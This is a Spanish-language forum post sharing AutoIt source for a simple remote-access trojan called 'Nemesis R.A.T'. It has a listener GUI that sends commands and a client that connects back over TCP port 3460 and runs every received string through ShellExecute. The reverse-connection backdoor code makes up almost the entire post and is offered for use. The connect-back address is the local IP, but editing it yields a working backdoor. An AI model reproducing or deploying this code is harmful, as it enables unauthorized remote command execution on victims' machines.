[Scr] Conexión Inversa

Iniciado por k0ws, Enero 29, 2013, 05:12:32 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 29, 2013, 05:12:32 AM Ultima modificación: Enero 31, 2013, 02:08:52 PM por k0ws
Bueno, ayer estuve investigando un poco los sockets en la pagina oficial de autoit, y me parecio buena idea hacer una "shell" de conexion inversa a partir del ejemplo que habia en la web, sin entretenerme mas:

Código: autoit

;Cliente - Author k0ws

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Nemesis R.A.T", 289, 114, 193, 115)
$Input1 = GUICtrlCreateInput("", 8, 8, 273, 21)
$Button1 = GUICtrlCreateButton("Listen", 8, 40, 121, 25)
$Button2 = GUICtrlCreateButton("Close", 160, 40, 121, 25)
$Button3 = GUICtrlCreateButton("Send Command", 8, 80, 273, 25)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###
;######################################
Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
    Local $MainSocket, $ConnectedSocket, $szIP_Accepted
    Local $msg, $recv
While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit
  Case $Input1
Case $Button1
      TCPStartup()
   $MainSocket = TCPListen($szIPADDRESS, $nPORT)
If $MainSocket = -1 Then Exit
$ConnectedSocket = -1
Do
        $ConnectedSocket = TCPAccept($MainSocket)
    Until $ConnectedSocket <> -1
$szIP_Accepted = SocketToIP($ConnectedSocket)
GUICtrlSetData($Input1,$szIP_Accepted)
Case $Button2
TCPShutdown()
Case $Button3
$szData = InputBox("Mandar comando al servidor", @LF & @LF & "Mandar orden a " & $szIP_Accepted)
If @error Or $szData = "" Then ExitLoop
            TCPSend($ConnectedSocket, StringToBinary($szData, 4))
If @error Then ExitLoop
EndSwitch
WEnd
Func SocketToIP($SHOCKET)
    Local $sockaddr, $aRet

    $sockaddr = DllStructCreate("short;ushort;uint;char[8]")

    $aRet = DllCall("Ws2_32.dll", "int", "getpeername", "int", $SHOCKET, _
            "ptr", DllStructGetPtr($sockaddr), "int*", DllStructGetSize($sockaddr))
    If Not @error And $aRet[0] = 0 Then
        $aRet = DllCall("Ws2_32.dll", "str", "inet_ntoa", "int", DllStructGetData($sockaddr, 3))
        If Not @error Then $aRet = $aRet[0]
    Else
        $aRet = 0
    EndIf

    $sockaddr = 0

    Return $aRet
EndFunc


Código: autoit

;Server - Author k0ws

StartSvr()
Func StartSvr()
    TCPStartup()
Local $ConnectedSocket, $szData
    Local $szIPADDRESS = @IPAddress1
    Local $nPORT = 3460
$ConnectedSocket = -1
$ConnectedSocket = TCPConnect($szIPADDRESS, $nPORT)
    If @error Then StartSvr()
       While 1
        $recv = TCPRecv($ConnectedSocket, 2048)
        If @error Then ExitLoop
   $recv = BinaryToString($recv, 4)
           If $recv <> "" Then ShellExecute($recv)
    WEnd
EndFunc 


-Saludos-